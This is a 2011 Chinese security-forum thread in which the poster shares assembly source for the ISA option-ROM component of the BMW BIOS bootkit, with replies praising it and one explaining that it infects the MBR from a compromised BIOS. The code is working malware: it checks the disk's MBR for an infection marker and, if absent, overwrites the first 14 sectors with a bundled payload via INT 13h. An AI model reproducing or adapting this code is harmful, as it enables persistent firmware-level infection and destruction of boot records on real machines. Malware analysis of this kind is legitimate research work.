首页
社区
课程
招聘
[旧帖] [分享][原创]BMW(ISA代码) 0.00雪花
发表于: 2011-9-8 14:03 4291

[旧帖] [分享][原创]BMW(ISA代码) 0.00雪花

2011-9-8 14:03
4291
由于是新注册的ID,只能在这发了~
;*******************************************************************************************************************
;*******************************************************************************************************************
        org    0h        ; 运行于BIOS中
        db     55h,0AAh    ; ISA模块头
        db     15        ; 大小为 15*512字节

        jmp    MyROMCodeStart
;*******************************************************************************************************************
;*******************************************************************************************************************


;db 0bh
;db 6dh
;db 03h
        times 18 db 0h
;dd 400020h,8b2e0060h,4e5590c0h
;dd a7164944h
;dd A7h
;db  44h,49h,16h
;db 167
;dd 2010000h,8000cc5h
dw      001ch;              PCI数据结构起始偏移 00h
dw      0034h;              PCI数据结构结束偏移 02h 
dd      52494350h;          PCIR(pci rom)标志   04h 
dw      10ech;              供应商ID            08h 
dw      8139h;              设备ID(网卡8139)    0ah 
dw      0000;               保留                0ch 
dw      0018h;              PCI数据结构长度     0eh 
db      00h;                PCI数据结构修订版   10h
db      02,00,00;           类别代码  
dw      0008h;              代码长度
dw      0201h;              代码/数据修订版本水平
db      00;                 代码类型(0表示可执行代码)
db      80h;                指示字节
dw      0000h;              保留
dd      506e5024h,201h,6500h,0,20000h,6400h,0,0;
;*******************************************************************************************************************
;*******************************************************************************************************************


MyROMCodeStart:
        pushf                          ;
        pushad                         ;PCI设备规范中说明,除了返回值以外,其它的参数必需恢复
   	    push   es
	    push   ds

;        ret
	    cld
        call   x_code    ; 跳转到程序进入点

;*******************************************************************************************************************
;*******************************************************************************************************************

;------------------------------------------------------------------------
incbin "dst_sectors.dat";;;需要复制的数据
;------------------------------------------------------------------------

;*******************************************************************************************************************
;*******************************************************************************************************************
;oxfb9cd
;0xfb8ed
x_code:
        pop    ax
	    xor    bx,bx
        push   bx
        pop    es
        push   cs          
        pop    ds                                                   
        mov    si, ax
        mov    di, 7c00h 
        mov    cx, 1c00h
        rep    movsb     ;将需要复制的文件拷贝到7c00h处
	mov    ds,bx
	mov     ah, 41h
        mov     dl, 80h
        mov     bx, 55AAh
        int     13h             ;检测是否支持扩展的BIOS int 13h功能
        cmp     bx, 0AA55h
	jnz     __Exit
        test    cl, 1
        jz      __Exit

        call   __Estimate_MBR;判断MBR是否以经被HOOK
        test   ax,ax
	jnz    __Exit;        如果被HOOK了或者读取错误退出
        mov    ax,7c00h 
        mov    ecx,0
        mov    dx,14
        call   __Write_sectors

__Exit:
        pop    ds
		pop    es
		popad
		popf
		retf


;*******************************************************************************************************************
;*******************************************************************************************************************


;=============================================================
; 需要将名称变为大写
; 输入:ES:EDI = 字符串 CX = 字符串长度 (宽字符串)
;
;=============================================================
ToUpperCase:
    PUSH      ECX
    PUSH      EBX
    XOR       EBX,EBX
    TEST      CX,CX
    JZ        .End        ; CX = 0
    
    ; 目前只处理 a-z => A-Z
.CheckNextChar:
    CMP       WORD[ES:EDI+EBX],0061H
    JB        .NextChar
    CMP        WORD[ES:EDI+EBX],007AH
    JA        .NextChar
    
    ; a < ch < z
    SUB        WORD[ES:EDI+EBX],20H
    
.NextChar:    
    ; 继续处理下一个字符
    INC        EBX
    INC        EBX
    DEC        CX
    JNZ        .CheckNextChar

.End:
    ; 返回
    POP        EBX
    POP        ECX
    RET
    
    
;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : write sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No. 
;data: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Write_sectors:
        push   si
        push   di
	    xor    bx,bx
	    push   bx
	    pop    ds
	    mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;写dx个扇区的数据
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx;从第ecx个扇区开始写入。
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero1:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero1
        mov    ax,4300h
        mov    dl,80h
        int    13h
        jnb    _normal_write
        mov    ax,0ffffh
_normal_write:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : __Estimate_MBR 
;date : 2009-05-26
;if hooked return true else return false
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Estimate_MBR:
        mov    ax,0x8A00  ;7c00+e00
	    mov    dx,1;需要读取的扇区数
	    mov    ecx,0;开始读的起始扇区
	    push   ax
	    call   __Read_sectors;读0扇区的内容
	    pop    si
		cmp    ax,0xffff
		jz     _erro_read
		mov    ax,[word 0x8BFE] ;7c00+1FE
		cmp    ax,0xAA55
		jnz    FindSign 
	    mov    eax,[dword 0x8A92] ;7c00+e00+192
	    cmp    eax,0x31746E69;;HOOK标志
	    jz     FindSign
        mov    ax,0
        jmp    NotHook
FindSign:
        mov    ax,1
        jmp    _erro_read
NotHook:
	    mov   si,0x8B80 ;7c00+e00+180
	    mov   di,0x7d80 ;7c00+180
	    mov   cx,0x80
	    rep   movsb      ;复制分区表到0x7c00+0x180处
_erro_read:
	    ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : read sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No. 
;updata: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Read_sectors:
        push   si
        push   di
	    xor    bx,bx
	    push   bx
	    pop    ds    
      
  	    mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;读取dx个扇区的数据
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx      ;从第ecx个扇区开始读取。
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero
        mov    ax,4200h
        mov    dl,80h
        int    13h
        jnb    _normal_read
        mov    ax,0ffffh
_normal_read:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************
      
WaitPressScrollKey:
        push   ax
s0:
        in     al,60h
        cmp    al,0x46      ;Scroll  Lock键扫描码:46h
        jnz    s1                                   
        stc    
        pop    ax
        ret
s1:
        in     al,61h
        test   al,010h
        jnz    s2
con:
        in     al,61h
        test   al,10h
        jz     con
        dec    cx
s2:
        or     cx,cx
        jnz    s0
        clc
        pop    ax
        ret
times  7680-($-$$)  db  0  ; 添加文件至7680字节大小



[课程]Android-CTF解题方法汇总!

收藏
免费 6
支持
分享
最新回复 (17)
雪    币: 76
活跃值: (114)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
LZ 环境要说下,以及调试方法呀,针对什么BIOS的。
2011-9-8 14:35
0
雪    币: 149
活跃值: (126)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
汇编看的就是爽。
2011-9-8 14:40
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
发出来咱也不会用,可悲啊
2011-9-8 14:41
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
高级玩意啊,得顶
2011-9-8 14:48
0
雪    币: 555
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谢谢楼主的分享,不错
2011-9-8 15:05
0
雪    币: 228
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
楼主好人,辛苦了,顶一个
2011-9-8 16:06
0
雪    币: 388
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
只有代码木有环境啊,还是看不懂
2011-9-8 16:13
0
雪    币: 473
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
希望作者写具体点,不要虎头虎尾的。。。。
2011-9-8 16:26
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
楼主好人,辛苦了,顶一个
2011-9-8 16:29
0
雪    币: 110
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
这是bmw病毒bios里面的isa部分。。。楼主强人
2011-9-9 11:13
0
雪    币: 120
活跃值: (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
希望楼主能翻译成c或c++  万分感谢。。。
2011-9-11 16:10
0
雪    币: 7
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
楼主能不能介绍些背景,新手确实不知所云啊
2011-9-12 21:30
0
雪    币: 965
活跃值: (1184)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
WaitPressScrollKey是从哪里摘出来的..
楼主很可怕,膜拜
2011-9-13 11:13
0
雪    币: 66
活跃值: (835)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
求 dst_sectors.dat 的数据
2011-9-15 19:40
0
雪    币: 110
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
学习一下。。
2011-9-15 23:17
0
雪    币: 79
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
17
额 楼主不在我瞎说两句,不管你信不信反正我信了...
楼主放的是BWM母体释放的hook.rom这个文件的分析
hook.rom这个文件是通过cbrom.exe(母体释放)感染BIOS镜像文件的...
hook.rom的主要功能就是检查MBR是否被感染,如果没有就感染MBR如果感染了就显示 Find it OK....
就这样吧亲们....
2011-9-16 18:54
0
雪    币: 255
活跃值: (49)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
18
代码逆得很棒 请教一下BMW恶意代码的提取方法 对于代码加解密 LZ是通过调试器来进行的吗? 有没有更好的方法 希望不吝赐教 ^_^
2011-9-17 14:51
0
游客
登录 | 注册 方可回帖
返回
//